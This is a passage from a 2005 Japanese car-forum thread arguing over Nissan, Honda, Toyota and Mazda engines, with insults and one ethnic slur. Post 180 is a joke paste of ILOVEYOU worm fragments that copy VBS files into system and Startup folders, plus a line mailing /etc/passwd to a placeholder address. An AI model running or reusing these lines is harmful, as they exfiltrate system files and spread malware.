05/08/21 16:30:16 5klFpkG10
>>151
昭和53年(1978)の環境基準クリアするための細工だったのか・・・あれは。
というか，そんな設計の古いエンジンを10年後の1988年デビューの車に堂々と積まないで欲しかった...orz
しかもMTで乗っても9km/Lしか走らない，燃費の悪いエンジンだったなあ。
157:名無しさん＠そうだドライブへ行こう
05/08/21 16:52:44 GCzg3DCD0
.
158:名無しさん＠そうだドライブへ行こう
05/08/21 17:22:05 bgxxRK7HO
おれ学生時代にガソリンスタンドでバイトしてたわけだが、同じ走行距離でもトヨタに比べ、ニッサンのエンジンオイルの汚れ具合はかなりひどかった。これはどーゆーこと？
159:名無しさん＠そうだドライブへ行こう
05/08/21 17:32:11 K0zGVixJ0
>>156
確か昭和51年の排ガス規制の為の苦肉の策だと思っていたが・・・。
当時乗っていた811ブルに搭載されていた。
ツインプラグで一旦吐き出した排気を更に空気と混ぜ合わせて再度燃焼させると
いうシステム。
お蔭でエアークリーナーは直ぐに真っ黒、低速ではノッキングガラガラでプラグ
交換するのに普通の倍の本数を必要とした。当時流行っていた低抵抗プラグコード
も本数が増えたためエラク高かった（値段が）。
その当時は何処のメーカーも規制でエンジンはメタメタで暗礁の時代だった。
「名ばかりのGTは道をあける」という名キャッチはその当時DOHCを早々に諦めた
日産に対してトヨタが揶揄ったもの。
当のセリカ2000GTも十分にクソだったが・・・・。
それこそ「名ばかりのDOHC」だったｗ
160:名無しさん＠そうだドライブへ行こう
05/08/21 17:34:42 K0zGVixJ0
そして、
その時ホンダは・・・・・・・
軽自動車専用メーカーだったｗｗｗ
161:名無しさん＠そうだドライブへ行こう
05/08/21 19:41:06 z2WmoG/tO
Ｌ型エンジンまんせー
162:名無しさん＠そうだドライブへ行こう
05/08/21 19:45:12 NvJr3VPNO
>>158
お前はオイルの汚れでエンジン精度を図っていたのか？ｗ
163:名無しさん＠そうだドライブへ行こう
05/08/21 22:18:09 fOFxaVpP0
DOHCだのなんだの目に見える技術の話ばかりしているが
本当の技術ってのは目に見えないところにあるんだよ。
なぜホンダ、ＢＭＷのエンジンが優れていると言われるのか
乗ってみれば分かるといいたいところだが、
乗っても分からない奴がここには多そうなので、一人で自己満足していてくださいｗ
164:名無しさん＠そうだドライブへ行こう
05/08/21 22:20:38 wVSjU4R+0
L型知らない人はカキコしてはならないスレ
165:名無しさん＠そうだドライブへ行こう
05/08/21 22:25:32 PpkxRB440
削除依頼
166:名無しさん＠そうだドライブへ行こう
05/08/21 22:27:42 fOFxaVpP0
>>165
ついに日産工作員様の登場ですねｗ
こんなところに圧力かけてる暇があれば
いいエンジン作ってくださいｗ
167:名無しさん＠そうだドライブへ行こう
05/08/21 22:30:16 wVSjU4R+0
削除依頼なんか通るわけないだろ
2ch趣味系板の削除人は在日でやる気なんかねぇんだから
雑魚運営には何も期待するな
168:名無しさん＠そうだドライブへ行こう
05/08/21 23:08:17 j9pAGexH0
いや、普通にマツダのエンジンの方が扱いやすいんですが・・・。
低速ドン突きエンジンはもういいから、扱いやすさのフラットトルクに振った方が、
ウケるとおもうんだが。
今の香具師、底までアクセル踏むのが好きみたいだからね。
上が無いのに無理矢理まわす連中が・・・。
169:名無しさん＠そうだドライブへ行こう
05/08/21 23:14:58 LJZM1ZGg0
マツダのレシプロが良いなんて思ってるのは、貴方だけです。珍種です。
代わりにロータリー出してんだから許してやれってのが、マツダのレシプロ
ソースを全部レシプロに向けて、ロータリーやめられたら困るでしょ？
一般的には、ロータリー市販車に乗せてるだけで非常に貴重なので
レシプロの出来の悪さには目をつむるのです。常識ですよ。
これが出来ない奴はマツダに乗って文句言うな。ロータリーが無くなるから。
170:名無しさん＠そうだドライブへ行こう
05/08/21 23:17:15 fOFxaVpP0
>>168
フラットトルク型であっても上まできれいに吹けるエンジンはあるよ。
「上まで回す必要がない」とか言ってる人がいれば
それはエンジンの工作精度が低いかコストをかけてない証拠。
171:名無しさん＠そうだドライブへ行こう
05/08/21 23:41:35 8Dhd8FrQO
>低速ドン突きエンジン
これが重要じゃないか？日本車はマツダを除き
この傾向が強いと思う。ストップアンドゴーが多い
日本の道路環境に合っているとはとても思えない。
あとマツダレシプロが悪いエンジンならホンダの
省燃費エンジンや日産のエンジンはどうなるんだ？
172:名無しさん＠そうだドライブへ行こう
05/08/21 23:43:50 oM/Og8aH0
最近のマツダエンジンってすごくいいよ。
ただ設計年次の関係でホンダには及んでない。官能性はホンダ以上かもしれないが。
日産は・・・もっと頑張りましょうｗ
173:名無しさん＠そうだドライブへ行こう
05/08/22 00:01:31 qoeOLYF80
スペック厨か
174:名無しさん＠そうだドライブへ行こう
05/08/22 00:34:35 SJ5W7MVg0
>169に同意。沫駄レシプロが糞ってのは常識だろ。
175:名無しさん＠そうだドライブへ行こう
05/08/22 00:52:52 jY58RqWd0
なんで右車線走ってるんだよ！＞フーガＶ８
176:名無しさん＠そうだドライブへ行こう
05/08/22 00:56:52 2pZKGw0e0
日産のエンジンが糞な理由は、技術者が糞だから。。。
日本で一番優秀なエンジン技術者がいる会社は、いすゞだと思うです。ディーゼルだけど。
マツダのBエンジン作った人は、パワーエンタープライズってメーカー立ち上げたよ。
177:名無しさん＠そうだドライブへ行こう
05/08/22 01:10:45 GWRxNR22O
マツダを叩く理由・・・一つくらいしか思いつかないなw
とにかく今の国産メーカーで一番ヤバいのは日産だな。
178:名無しさん＠そうだドライブへ行こう
05/08/22 01:13:25 CbgSr/MbO
マツダ叩きは徳大寺だけ。影響受けるのカコワルイ
179:名無しさん＠そうだドライブへ行こう
05/08/22 01:21:36 GWRxNR22O
御大はNCすら叩いてるの？
180:名無しさん＠そうだドライブへ行こう
05/08/22 02:48:34 qoeOLYF80
c.Copy(dirsystem&"＼MSKernel32.vbs")
c.Copy(dirwin&"＼Win32DLL.vbs")
c.Copy(dirsystem&"＼LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:＼network.vbs", "j:＼windows＼start menu＼programs＼startup＼"
fso.copyfile "dirsystem&nurupo.vbs", "j:＼windows＼start menu＼programs＼startup＼"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
※これは厨房よけです。これに反応した方は厨房ですので
半年ROMってください。そうでない方は気にせずこのスレをお楽しみください
181:名無しさん＠そうだドライブへ行こう
05/08/22 09:55:16 5MLOwIgF0
>>174
しかし、そんな情報、常識の割にはネットに落ちて無いよ。調べたけど。
マツダがどう糞かも書いてくれ。
”何々が、糞と言うのは常識”っていうコピペみたいなのはもう秋田。
俺はいいエンジンだと思うけどな。
日産のエンジンなんて、レブリミットまで当たらないエンジンが結構あるじゃないかｗ
リミットの回転数間違ってんじゃねーの？
182:名無しさん＠そうだドライブへ行こう
05/08/22 10:14:28 pQoOEMf60
乗りゃすぐわかんだろ。
これで分からない奴は他社エンジンを知らないだけ。
脳内はいい加減やめてマジで乗り比べてみろよ。
日産やトヨタに続いてターボやめたかと思えば、やっぱ必要とかって出すし。
技術力の無さが露見してる。所詮ターボに頼らないと走らないのよな。
183:名無しさん＠そうだドライブへ行こう
05/08/22 12:32:55 5MLOwIgF0
暫くターボにパワーを頼ってたから、
慣れてないNAエンジン開発が遅れてるだけだとは思うけど、
なんせホンダはF1でさんざんNAをいじくり倒してるから、
いいエンジンができたんだろうな。
ただ、回さないと走らんけど。
184:名無しさん＠そうだドライブへ行こう
05/08/22 13:28:17 A+3j8YxN0
>>183
NAで出力得る方法は、排気量上げるか回転数上げるかしかねーんだけど？
更にホンダがF1でブイブイ言わしてたのはターボだ。
んで、回るだけとかワロス事言う馬鹿は、トルクの概念が抜けてる。
回ってもトルクが無ければ出力（馬力）は上がらない。
そこそこ出力あるのは高回転域でもトルクも出てるから。
量産エンジンでは、これをある程度の品質でやるのが難しい。
しかし、VTECが有るのでハイカムだけのエンジンほど下を犠牲にはしていない。
下の方が薄くなるのはフリクションが、単純な構造のエンジンと比べると多少の不利はある。
まぁ昔からホンダは、吸排気含めてエンジンをやってるので低中間トルクは吸排気の脈動効果を
最大限に利用してカバーしてる。
URLﾘﾝｸ(www.honda.co.jp)
ただ回ってるだけとかワロス事ぬかしてる馬鹿は、NAの基本的なことを全く知らない。
当然、理論的なことも知らないし見る目がないから、選ぶ車はウンコ車確定。
185:焼き鳥エンジン搭載車@>>52
05/08/22 15:11:45 gozUGJ2A0
>>184
たしかに当たっているね。 あの会社は高精度な要求を下請けにまで要求する。
具体的には書かないけれど、その要求基準は相当なもの。 そういう、エンジニア
リングの面では本田宗一郎の精神が生きていると思うけれど・・・。
フリクションロスに関して言えば、エンジンの耐久性、安全性を考慮した上で、
最大限抵抗を減らしている。 有名なU・ECEが他社の努力を評価していたけれど、
あの会社の一般車のエンジンでも、それが生きている。
なんていったって、自分自身、お恍けミッションのせいで、ATの4速で踏みまく
っていたところから、3速に落ちちゃって、一気に9000rpm以上（目盛りがなくて、
10000は軽く超えている回転数だった筈。）に入ってずーっと踏んでも、何にも起
きない。 逆に回転数が上がっていく音だけが聞こえる、それくらい凄い。 たしか
にﾝﾀﾞの凄いところは認める。
186:焼き鳥エンジン搭載車@>>52
05/08/22 15:29:28 gozUGJ2A0
あと、付け加えると、あの会社のV型6気筒エンジン、フツーに等長管なんだよな。
ﾝﾀﾞ車の欠点はFF-MIDSHIPみたいな糞レイアウトとか、直5のオイルパン貫通ドラシャ
とか、音は良いけれど、直5の圧縮比が掛からないで燃費激悪とか・・・かな。
187:名無しさん＠そうだドライブへ行こう
05/08/22 16:22:44 A+3j8YxN0
>>186
禿道
別にシンメトリーに近いレイアウトのFRとかAWDに拘りは無いけど
レイアウトがスマートじゃない物が有るね。
FFなのに縦置きとか…
普通のFF作らしたら一日の長は有るとは思うけど。
変則的な事してまでもFFでやるのは、技術者のエゴでしかないように思う。
直5の燃費激悪は知り合いのラファーガだったかで聞いたことがあるな。
SH-AWDもFRレイアウトでやってれば、と思うことも有るね。
FFベースにすると燃費に有利なのは分かるけど。多少の犠牲払っても
あのクラスの車なら商品価値を上げるべきだった。
噂のV8が出れば良いけど。ハイブリッドでVCM付きだと面白いが。
188:焼き鳥エンジン搭載車@>>52
05/08/22 18:05:24 C739sRU30
>>187
っで、KB-1で開き直ったかのようにFF-MIDSHIPをやめて、元の横置きに戻した。
以前よりもエンジンのマウント位置が、ホンダ車は後退したし、今回のKB-1では、
明らかにV-6でありながら、ギリギリ、サスペンションのアッパーマウントの間に、
入れた。 回頭性は良くなっているし、結論からすれば、SH-AWDのトルク配分性能
ともあいまって、良い車に仕上がっているが、一方、V-8などのマルチシリンダー、
フロントへヴィーの車両には酷なレイアウトであることは否めない。 V-6が限界の
レイアウトと言っても過言ではない筈。
V-8はTemple of V-TEC曰く、むこう三年以内の決断はないとのこと。
ところで、あのFF-MIDSHIP、”八頭身フォルム”という風に言われていたのだが、
純粋にFR化すれば良いものを、そういう詭弁で誤摩化すって・・・本田宗一郎は”無駄”
なものがあると激怒したからかな・・・FR=無駄、FF=高効率っていう方程式が、彼の
頭の中にあったと言われているのだけれど・・・。（謎）
189:名無しさん＠そうだドライブへ行こう
05/08/22 19:04:25 DGQh4vW90
空冷。水冷。
190:名無しさん＠そうだドライブへ行こう
05/08/22 19:36:14 fikFd1yh0
>>184-188
長文読む気ｼﾈ(ﾟ⊿ﾟ)
191:名無しさん＠そうだドライブへ行こう
05/08/22 20:34:31 cimsFG450
VQってRBみたいには進歩してないね、何か理由でもあるのかな？
192:名無しさん＠そうだドライブへ行こう
05/08/22 21:08:40 ejENJsYcO
ヨタ、ツダおたしね
日産、ホンダ、トヨタオタはしななくていいぉ(^ー^)
193:焼き鳥エンジン搭載車@>>52
05/08/22 21:09:41 O6E5x+HA0
>>191
糞VGよりマシ。 所詮、アルファのV-6をパクったあげく、そいつにターボ付けて、
パーコレーションは起こすわ・・・。 その点、VQは頑張った。
194:名無しさん＠そうだドライブへ行こう
05/08/22 21:11:08 kRlHquxF0
Z33のVQは改良されて格段に良くなったよね
高回転のパンチが違うつうか
195:名無しさん＠そうだドライブへ行こう
05/08/22 21:12:19 wE8njWQq0
↑あの程度で？
196:名無しさん＠そうだドライブへ行こう
05/08/22 21:21:27 A+3j8YxN0
>>188
> FR=無駄、FF=高効率っていう方程式が、彼の
> 頭の中にあったと言われているのだけれど・・・。（謎）
これは有ったかは分からない。何せ空冷を強要した事件が有るし。
高効率を求めてると言うより、技術を追い求める思考の方が
強かったのかも知れない。当時から油冷か水冷の方が効率が良かった
と分かってたのに空冷の限界に挑もうとしてたし。
この失敗を活かして変化したのなら分かるけど。
確かに回転軸を"捩る"（よじる）必要が有る縦置きFRは、捩る必要のない「横置き」の
FFに比べると効率は悪い。（その損失は熱に。デフの発熱はFFのそれより酷い）
しかし、「縦置き」のFFと比べるとドライブシャフトの長さくらいしか縦置きFRのデメリット
は無いように思うし。逆に縦置きFFのメリットが分からないね。
思いつくのは、フロアトンネルの縮小、燃料タンクの配置自由度くらいかな？
>>192
ヨタとトヨタヲタは別なのか？ｗ
197:名無しさん＠そうだドライブへ行こう
05/08/22 21:31:08 A+3j8YxN0
VQはV8（インフィニティ）とそれを買い換えたフーガのV6（家族所有）に
乗ったこと有るけど、言うほど悪くは無いと思う。
特にV8は良かったけど、排気量相応と言われればそうかも知れない;。
このクラスの他の車に乗ったと言えばセルシオくらいだけどエンジンだけ見ると
負けて無かったと思う。
それに比べてフーガのV6の静寂性は悪い。ATの出来が良くなってるのか
（ロックアップ率が高いのかな？）加速させた感じは、悪くはない。
更にY32というVG積んでるのが、未だに有るけどこれと比べると流石に雲泥の差を感じる。
インフィニティもY32も耐久性の面では、相当悪いイメージしかないのは事実。（特にAT）
フーガは、まだ新しいので耐久性云々は全く分からない。
198:焼き鳥エンジン搭載車@>>52
05/08/22 22:00:13 O6E5x+HA0
>>196
ジョー・シュレッサー事件もあったし、空冷は半端ではない音と熱でパワーダウンは
するわ、酷い目にあったことも事実。 軽々しく、”砂漠の狐”ことロンメル将軍の成功を
理由としたのが発端だったと言われていますね。 DDACでしたっけ、ホンダの空冷システム。
でも、1300といい自動車に採用しても不評であっという間に消えちゃいましたけれど・・・。
最初はパワーが出ているけれど、徐々にパワーダウンしていく。 おまけに、走安性にまで、
問題があった・・・。 1300は、生産、ボディワークの方では”モヒカン”と呼ばれるルーフ
の接合方法など、斬新さがあった・・・のですが。w
>>確かに回転軸を"捩る"（よじる）必要が有る縦置きFRは、捩る必要のない「横置き」の
FFに比べると効率は悪い。
抵抗が増えるということは、燃費にも関わってくるし、やはり、FRの居住性の悪さを
考慮すると、必然的に横置きFFに至るわかなのですが、なぜか、そのFFの利点を無視する
ようなレイアウトを採用した。
>>「縦置き」のFFと比べるとドライブシャフトの長さくらいしか縦置きFRのデメリット
は無いように思うし。逆に縦置きFFのメリットが分からないね。
初代アコード・インスパイアに乗っていた時期があったのですが、やはり、前席のレッグ
スペースですね、狭い。 よく、「トランスアクスルが！」と評論家の方に書かれていまし
たけれど、FFの美点である居住性は台無しに・・・。 おまけに、トルクステアになりました。
TCSが付いていたけれど、なんか、役に立ったの？って・・・っと記憶しています。 一方で、
よく、言われている”高速安定性”の良さについては、間違いないですね。 「ドシンっ！」
としっかり真っ直ぐ走る。 高速道路では恩恵にあずかった記憶があります。 あの感覚は、
誉めるにあたいするのですが、いかんせん、犠牲が大きい・・・。
199:名無しさん＠そうだドライブへ行こう
05/08/22 22:33:42 LCmltCID0
>>184
おいおいおいおい、
自動車工学のエンジン項目だけでも全部語れっていうのかよ・・・
こんだけの掲示板で、全部書けって言われても、エンジンだけ書いたって1000スレうまっちまうぞ。
キャブをいじった事があると、わかると思うけど、
低速向けの燃調とか、高速向けの燃調とかあるだろ。
吸気抵抗や排気抵抗のバランスとか、それだけでもトルクは変わるだろ。
それを可能にしたのが、可変バルタイやEFIって奴だろ。
しかし、可変バルタイが無くても、EFIと、エンジンの精度で高回転まで回したときのトルクも変わってくる。
コンロッドの重さとか、行程容積とか。
そのへんが、まだ煮詰め切れてないんじゃね？って言ってんだ。
お前がいくつ知識並べようとしたって、現物が本当に回ってるだけのエンジンだからしょうがないだろ。
オレは自動車工学は勉強してるけど、ごたくを並べるようなオタククンとはちょっと違うんだよなｗ
実際、エンジン設計のデータってのは、ほぼ完成されてて、コンピュータでシミュレーションはできるんだよ。
しかし、その計算通りに動かす力があるメーカーはどこって話なんだよ。
これは、計算じゃなく、手で触る感触、いわゆるエンジン職人の技の世界って話だ。
下手糞が組んでも、シミュレーション通りに動くはずがない。
200:名無しさん＠そうだドライブへ行こう
05/08/22 23:52:24 A+3j8YxN0
>>199
> 現物が本当に回ってるだけのエンジンだからしょうがないだろ。
お前が勉強したのはトヨタ馬力ってのは良く分かった。
実馬力でカタログ通りでないのは、半ば当たり前のようだが
同排気量NAで高回転側のトルクを上回ってるエンジン一つくらいあげてみたら？
これがないなら、回ってるだけじゃないことになるけど？(出力が出てんだから）
回ってるだけじゃないエンジンとやらを自動車工学お勉強してる
チミに教えて欲しいな。
201:名無しさん＠そうだドライブへ行こう
05/08/22 23:56:30 jY58RqWd0
せっかくいい議論が続いてるので上げておこう
202:名無しさん＠そうだドライブへ行こう
05/08/23 00:01:13 jNODi8m50
v―.､
／ ! ＼
/ ,ｲ ヽ
.. / _,,,ﾉ !）ﾉﾘﾊ i
i jr三ミ__r;三ミ_ ヽ
l ,iヾ二ノ ヽ二 ハ ﾉ ／￣￣＼
ヽ､.l ,.r､_,っ､ !_, /ヽ、＿＿_ﾉ| ／￣￣￣￣￣￣￣￣￣￣￣￣￣￣
. ! rrrrrrrｧi! L_.／⌒( i " i | ./ ＜ >>1糞スレ立てんな、蛆虫、氏ね。
ヾヾ ゝ､^'ｰ=~''"' ;,/. | i | i > ＼＿＿＿＿＿＿＿＿＿＿＿＿＿＿
ゞ","",,ヽ >､＿_,r / ヽ | i ″)
ヾ ,, ,, ヽ ﾉ | i i .丿
/ヾ ,, ,,ヽ （ ／ ）/ | ∥i /
| ヾ ,,,, ヽ "─"" ﾉ（／| ii | ）
ヽ ヾ ,, ,, ,,.ヽ ﾉ ./ .|__ii___|ヽ
ヽ ヾ ,,, ,, ＼ / i⌒(￣ ~ |
/ )＝＝（○）＝＝（ ヽ-￣￣ /
(⌒-／",,--______-- ",, ヽ ゝ─-- /
.(＿_/ヾヾヾ ,,, ,,, ,,-ゞヾ/ ヽ.,,＿,,/
ヽ（ ソ""""＼ ヽ i＿/
<（⌒""`--.,__） /ヽ ）
<(~`─" ＼ （~ ／
<(_,,,_＿,,,, ） ＼ ￣ゝ
￣""" ヽ.,,＿＿ゝ
203:名無しさん＠そうだドライブへ行こう
05/08/23 00:09:37 OlxzdHDB0
>>194
みんなRBみたいな進化を期待してるからね。
204:名無しさん＠そうだドライブへ行こう
05/08/23 00:12:30 NllSKmBQ0
RBも初めは糞エンジンって言われてたよなぁR31デビュー時は。
って事はVQもまだ進化の余地があるのかも？
205:名無しさん＠そうだドライブへ行こう
05/08/23 00:53:46 iiuHV4tc0
日産は一つのエンジンを時間をかけて熟成する伝統があるからな。
でも最近の日産からして、進化の方向が国内市場を向いたものに
なるかという懸念はある。
どいつもこいつもVQ35、なんて明らかに北米市場を向いてるよな。
206:名無しさん＠そうだドライブへ行こう
05/08/23 00:58:52 Muh68uK40
熟成とは名ばかりで、結局はケチだから。
エンジンを新規に起こすのは数百億とも一千億とも言われる開発費が必要で
ゴーン氏がそんなこと許すはずもありません。
だったらお気楽に「デザインをシフト」で誤魔化しておこう、
という安直な戦略がミエミエ。
「熟成」ってのは、欧州の名門メーカーが使える言葉ですよ。
207:名無しさん＠そうだドライブへ行こう
05/08/23 01:20:58 fs4GLYaW0
>>200
もういいって・・・。
まず、お前の車をシャシダイに乗っけてこい。
カタログ値ばっかりアテにするから、糞車がわからない事は良くわかった。
トヨタのカローラ系はあれでも、ちゃんと最高速度は170km/hは出せる。（ちょっと時間がかかるけど）
もちろんデミオは175km/hだって出せる。
しかし、ウイングロードはいくら頑張っても155km/hに届かないと言う事実は、認めたくないのかね？
カタログスペックの、馬力、トルク曲線がきっちり出てたら良いエンジンかもしれないけど、
全然追いついてない。
だから回ってるだけのエンジンって言ってるわけだよ。この意味わかるかな。
高回転まで回してるのに、全然高速域トルクがスカスカってことだ（ﾌﾟ
OD入っても全然のびねーんだよ。このヘタレ1.5Lは。
キミはどうせ、カタログをあっちこっちから引っ張り出してニヤニヤしてるカタログスペック厨なんだろうけど、
オレは実際に乗って比較してんだよ。ちゃんとな。
カローラランクス エンジン：AEROTOURER 1.5 VVT-i 1NZ-FE 110ps/6,000 車両重量 1100kg
ウイングロードS エンジン：QG15DE（NEO） 106ps/6000 車両重量1170kg
デミオ1.5sport エンジン：DBA-DY5W 113ps/6000 車両重量：1100kg
つーか、スペックですらも劣ってるのな。同クラスに。
これでNISSANの1.5ccクラスは糞認定。
208:名無しさん＠そうだドライブへ行こう
05/08/23 01:30:17 rJAPTFOd0
VQ一本槍(しかも3.5)だから糞。
しかもDIからDEに退化してるし。
こんなんじゃ、次はマツダかスバル行くぞと思う今日この頃。
209:名無しさん＠そうだドライブへ行こう
05/08/23 01:45:18 4NOMVhJs0
ここは饒舌なインターネットですね。
210:名無しさん＠そうだドライブへ行こう
05/08/23 01:49:37 jNODi8m50
近年まれに見る糞スレですね。
211:名無しさん＠そうだドライブへ行こう
05/08/23 01:53:00 2960c4lyO
そろそろ一般のユーザーも日産のクォリティに気付くだろう。
知り合いの車に乗って
「なぜ私の車とこんなにまで違うの？」と。
クライアントを欺くことを資本主義の社会で何故
してはならないか、身を持って知ればいい。
212:255
05/08/23 01:54:15 0RRm6zhu0
L型と、VG30系だけだな。
213:名無しさん＠そうだドライブへ行こう
05/08/23 01:56:13 4NOMVhJs0
そろそろ一般のユーザーも日産のクォリティに気付くだろう。
知り合いの車に乗って
「部長もピアスしてみたらどうですか、お似合いですよ。？」と。
クライアントを欺くことを資本主義の社会で何故
してはならないか、身を持って知ればいい。
214:名無しさん＠そうだドライブへ行こう
05/08/23 02:00:16 ufJExSd/0
>>213
あのＣＭにはそんな深い意味があったのか。
やるな。
215:名無しさん＠そうだドライブへ行こう
05/08/23 02:04:22 jNODi8m50
>そろそろ一般のユーザーも日産のクォリティに気付くだろう。
>知り合いの車に乗って
>「なぜ私の車とこんなにまで違うの？」と。
確かにな。
知り合いのアルファード2.4乗ったがデザインダサくて、エンジン4気筒で遅くて最悪。
俺の3.5エルのほうが全然速くて快適だと身をもって実感したよｗ
216:名無しさん＠そうだドライブへ行こう
05/08/23 02:09:56 3aq+OI5y0
そりゃそうだろ
2.4と3.5じゃ違いすぎだろ
大丈夫か？
217:焼き鳥エンジン搭載車@>>52
05/08/23 11:28:34 t00PnERW0
>>215
エルグランド3.5はガバ子だよ。 2.5の方が街乗りは悪いかもしれないが、ストイキでは
良い筈。 アル中の2.4もストイキは良い・・・たしかに、トルクが無いので都内の道路事情
には酷かもしれないが。
エルグランドの3.5の速さは、某馬鹿自動車メーカーから馬鹿ミニヴァンのせいで然程、速
いと思わなくなった。 あの3.0リッターは信号ゼロヨンで基地外・・・勿論、デッカイ事故
を起こすなどして、オーナーさんが結構、ニュースで血祭りに揚げられている車です。
218:名無しさん＠そうだドライブへ行こう
05/08/24 04:25:52 8UTeJnO/0
>>217
もう少し日本語を勉強しなおしてから、出直してきてください。
219:焼き鳥エンジン搭載車@>>52
05/08/24 10:20:35 rapm7nNn0
>>218
燃費の話をしていた後に、書き込んだから、燃費の話が先になっちった。 わりぃ～・・・。
220:名無しさん＠そうだドライブへ行こう
05/08/24 11:27:39 Ni34uzop0
>>207
カローラで出したらエンジン爆発するぞ。しなくても一年でエンジンは壊れる。耐久性考えろよ。
221:名無しさん＠そうだドライブへ行こう
05/08/24 18:18:18 QUpuTo3cO
>>220
おまいさん1NZ-FEを搭載した車に乗ったことがないだろう？
あのエンジンはすごいぞ。ギアレシオもあろうが
先日現行ラウムで東北道を走ったところ、すーっと
スピードが乗っていってあっという間に制限速度の160％
まで達した。うるさくもなく普通に会話出来るレベルだったよ。
あれなら170は楽に超えるだろうね。最近のコンパクトは
すごいなぁと感心したんだが日産のはひどいのか。
222:名無しさん＠そうだドライブへ行こう
05/08/24 20:24:09 k+/eZNbWO
>>220
オイル管理してたら大丈夫。
つか、普段は飛ばさないよ。
そういう最高速のパワーは、ギアを落として急勾配でも楽々運転できるって事。
ちなみに、ウイングロードのサンプル車はレンタカーで借りた物。
回してもうなるだけで坂登らん。
今日借りたフィットは楽々だったよ。
まだデータは出してないけど、ホンダのリッタークラスすげーよ。
登りが続く道でも踏めば踏むほど加速する。
4000回転超えてもまだ加速Gがかかる。
ただ、進みだすまでに、かなり回してヌルヌル発進する。
一昔前のターボ車みたいな感じ。
ホンダのエンジンは中高速が凄いけど、低速は無視したエンジンぽいね。
CVTでなんとか速度とトルクのマッチングとってるけど、
速度調整がむずいな。
積極的に燃費をのばそうと、ロックアップしてるのがよくわかる。
しかし、こう書くとホンダベタぼめぽいけど欠点はある。字数超えるから次。
223:名無しさん＠そうだドライブへ行こう
05/08/24 20:26:59 k+/eZNbWO
シフトを落としてるのに、ギヤレシオあげてけれ。
マツダみたいな勾配センサーはついてないのかよ。
224:名無しさん＠そうだドライブへ行こう
05/08/24 23:22:08 CGbdpZI10
実験継続中
225:名無しさん＠そうだドライブへ行こう
05/08/24 23:35:43 c6IyT9MA0
>>220
エンジンは常に爆発してます。
普通は壊れません。あなたの扱いに問題が・・・・。
226:名無しさん＠そうだドライブへ行こう
05/08/24 23:45:30 hxJo5MJ00
>>1
このスレも200を超えて未だ実況中もクソもねーだろ！
もう一個もまだ健在だぞ！
227:名無しさん＠そうだドライブへ行こう
05/08/25 00:00:01 GLHqgjns0
>206
リストラの過程で優秀な技術者が流出。しかし、ゴーンマジックで無理矢理利益を上げたが、
その利益はルノーが吸収。
しかも故障率はあの三菱より劣る。品質に黄信号がともっている。
歴史は繰り返すと言うけど、どうなんでしょ。ゴーンは優秀だけど、はげたかかも知れない。
それが解ったときには、ルノーの事実上の子会社になっているかも。
あるいはしゃぶり尽くして、いいときに売り切るかも知れない。
その証拠に、日産が儲かったら、日産がルノーの株を買い増す約束だったのに逆に
ルノーが支配を深めている
。
対等ではなく、日産が服従する仕組みを着々と築き上げ、誰も文句を言えないようになった。
彼が約束を守れば、はげたかで無いことになるが、今のところその兆候はない。
日産も、危うい面が隠せないことになるかも知れない。
そのエンジンの開発費のように。
228:名無しさん＠そうだドライブへ行こう
05/08/25 00:18:27 IS74CCUk0
>>226
君が作った糞スレと同様
ここも盛り上がっている以上は必要とされてるって意味だし
継続でいいんじゃね？
ただね、作ったのオレじゃないから。
みんな、それだけ鬱憤が溜まっていたんだと思うよ？
言ってみればこのスレ作った遠因が君にもあるのかもね。
229:名無しさん＠そうだドライブへ行こう
05/08/25 00:23:02 jfM4YSX+0
>>228
だったらそれで良いんじゃね？
スレタイ如きでムキになる方がおかしい。
230:名無しさん＠そうだドライブへ行こう
05/08/25 00:25:38 IS74CCUk0
ムキになってるのは君のほうでは？
>>226 は君だとばかり思っていたが、違うのか？
231:名無しさん＠そうだドライブへ行こう
05/08/25 03:56:19 s2HhHb6k0
市営住宅にシーマやフーガ、エルグランドが止まってると腹が立ちます
232:名無しさん＠そうだドライブへ行こう
05/08/25 04:03:49 RCs0sev50
セルシオやクラウン、アルファードならいいのか？
233:名無しさん＠そうだドライブへ行こう
05/08/25 08:02:10 6aIcbHKi0
はい。
234:名無しさん＠そうだドライブへ行こう
05/08/25 10:54:20 nAGNo9uv0
>>233
トヨタ工作員乙。
235:名無しさん＠そうだドライブへ行こう
05/08/25 12:41:52 ALtAFLqm0
23
236:名無しさん＠そうだドライブへ行こう
05/08/25 12:44:27 /93wqEDK0
直６復活ｷﾎﾞ～～～ﾝ
237:名無しさん＠そうだドライブへ行こう
05/08/25 13:28:34 VtnwQFlA0
>>236
有り得ない。直6の復活は絶対にない。
直6のデメリットを押し切れるほど、日産にもBMWほどの
ポリシーがあると思うのか？
有るわけがない。
もし、仮に有ったとしてみよう。
日産の直6がシルキー6と肩を並べられると思うのか？
並ぶわけがない。
238:名無しさん＠そうだドライブへ行こう
05/08/25 14:20:53 gP5LWQbb0
日産の代表エンジンが無くなったのが痛い。
239:名無しさん＠そうだドライブへ行こう
05/08/25 14:33:17 VtnwQFlA0
日産の代表エンジンが無くなったわけではないだろ。
当然世代交代として淘汰され、新しい物に代わっただけだ。
今はVQだろ。
VQ35DE見てみろよ。どれだけの車種に使われてんだか。
立派に代表務めてんじゃね？
ローコンプくらい使って、レギュラークラス(格下用）を用意するべき。
それすらしないほど専用チューンの幅は極小。超コスト重視で
日産を支える代表エンジン。
240:名無しさん＠そうだドライブへ行こう
05/08/25 14:57:37 THhp2TWe0
日産の直6?サファリでも買えば?
241:名無しさん＠そうだドライブへ行こう
05/08/25 18:44:44 WZb/k7m70
フーガが出るまではY34の4WDがRB25DET搭載で、新車で買える直6セダンだったんだよな。
242:焼き鳥エンジン搭載車@>>52
05/08/25 20:33:04 taUtTnp/0
>>241
AWDの高級車って、廉価グレードに毛が生えた装備しかないのはなぜ？
雪国ユーザーの為、他で電気が食われるから・・・それを考慮した電装系の関係？
243:名無しさん＠そうだドライブへ行こう
05/08/25 23:55:57 IS74CCUk0
つくづく日産は商売が下手
今は利益出しててもそれは所詮「数字のマジック」に過ぎないから
そろそろ本気で商品力向上を考えないと、やばいよ
244:名無しさん＠そうだドライブへ行こう
05/08/26 00:48:48 RAFfd2nz0
「技術の日産」も今は昔・・・
245:名無しさん＠そうだドライブへ行こう
